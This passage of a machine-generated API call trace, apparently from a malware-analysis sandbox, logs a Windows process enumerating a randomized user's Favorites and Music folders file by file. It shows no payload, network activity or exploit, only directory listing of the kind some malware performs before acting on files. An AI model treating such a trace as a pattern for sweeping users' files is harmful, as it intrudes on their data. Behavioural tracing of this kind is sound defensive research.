lpMsg=0x3b2fb74) returned 0 [0112.779] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="Links\\" [0112.779] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0112.779] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.779] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.779] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.779] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.779] PathFindFileNameW (pszPath="") returned="" [0112.779] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.780] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0112.780] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.780] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.780] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0112.780] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0112.780] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0112.780] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.780] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.780] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0112.780] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.780] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="Microsoft Websites\\" [0112.780] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0112.780] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.780] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.780] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.780] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.780] PathFindFileNameW (pszPath="") returned="" [0112.780] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.782] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7410d0 | out: hHeap=0x660000) returned 1 [0112.782] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.782] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0112.782] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0112.782] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0112.782] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0112.782] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0112.782] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0112.782] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.783] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.783] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7401f0 | out: hHeap=0x660000) returned 1 [0112.783] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.783] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="MSN Websites\\" [0112.783] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0112.783] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.783] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.783] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.783] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.783] PathFindFileNameW (pszPath="") returned="" [0112.783] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.785] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33202a0 | out: hHeap=0x660000) returned 1 [0112.785] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.785] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0112.785] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0112.785] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0112.785] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0112.785] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0112.785] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0112.785] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0112.785] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.786] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.786] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.786] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="Windows Live\\" [0112.786] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0112.786] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.786] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.786] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.786] PathFindFileNameW (pszPath="") returned="" [0112.786] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.788] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.788] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0112.788] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0112.788] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0112.788] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0112.788] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0112.788] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.789] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.789] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\") returned="nV -iFyrHbXVLVuM\\" [0112.789] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0112.789] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.789] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.789] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.789] PathFindFileNameW (pszPath="") returned="" [0112.789] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebf2f900, ftCreationTime.dwHighDateTime=0x1d4c5c7, ftLastAccessTime.dwLowDateTime=0xee45d4c0, ftLastAccessTime.dwHighDateTime=0x1d4d21f, ftLastWriteTime.dwLowDateTime=0xee45d4c0, ftLastWriteTime.dwHighDateTime=0x1d4d21f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.790] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebf2f900, ftCreationTime.dwHighDateTime=0x1d4c5c7, ftLastAccessTime.dwLowDateTime=0xee45d4c0, ftLastAccessTime.dwHighDateTime=0x1d4d21f, ftLastWriteTime.dwLowDateTime=0xee45d4c0, ftLastWriteTime.dwHighDateTime=0x1d4d21f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.790] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7963b30, ftCreationTime.dwHighDateTime=0x1d4cc90, ftLastAccessTime.dwLowDateTime=0x9af9f050, ftLastAccessTime.dwHighDateTime=0x1d4d268, ftLastWriteTime.dwLowDateTime=0x9af9f050, ftLastWriteTime.dwHighDateTime=0x1d4d268, nFileSizeHigh=0x0, nFileSizeLow=0xb359, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0Qf-sRlRO YRMK9.wav", cAlternateFileName="0QF-SR~1.WAV")) returned 1 [0112.790] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc293e8c0, ftCreationTime.dwHighDateTime=0x1d4cdf2, ftLastAccessTime.dwLowDateTime=0xb22e9800, ftLastAccessTime.dwHighDateTime=0x1d4ce5f, ftLastWriteTime.dwLowDateTime=0xb22e9800, ftLastWriteTime.dwHighDateTime=0x1d4ce5f, nFileSizeHigh=0x0, nFileSizeLow=0x14a5f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6HV_cSvNUwVhwYq.wav", cAlternateFileName="6HV_CS~1.WAV")) returned 1 [0112.790] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a1c1250, ftCreationTime.dwHighDateTime=0x1d4d0a0, ftLastAccessTime.dwLowDateTime=0x7b58e4b0, ftLastAccessTime.dwHighDateTime=0x1d4cb81, ftLastWriteTime.dwLowDateTime=0x7b58e4b0, ftLastWriteTime.dwHighDateTime=0x1d4cb81, nFileSizeHigh=0x0, nFileSizeLow=0xf75c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="953YBi3u.mp3", cAlternateFileName="")) returned 1 [0112.790] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e8189c0, ftCreationTime.dwHighDateTime=0x1d4d4fc, ftLastAccessTime.dwLowDateTime=0x46bcd700, ftLastAccessTime.dwHighDateTime=0x1d4c6dd, ftLastWriteTime.dwLowDateTime=0x46bcd700, 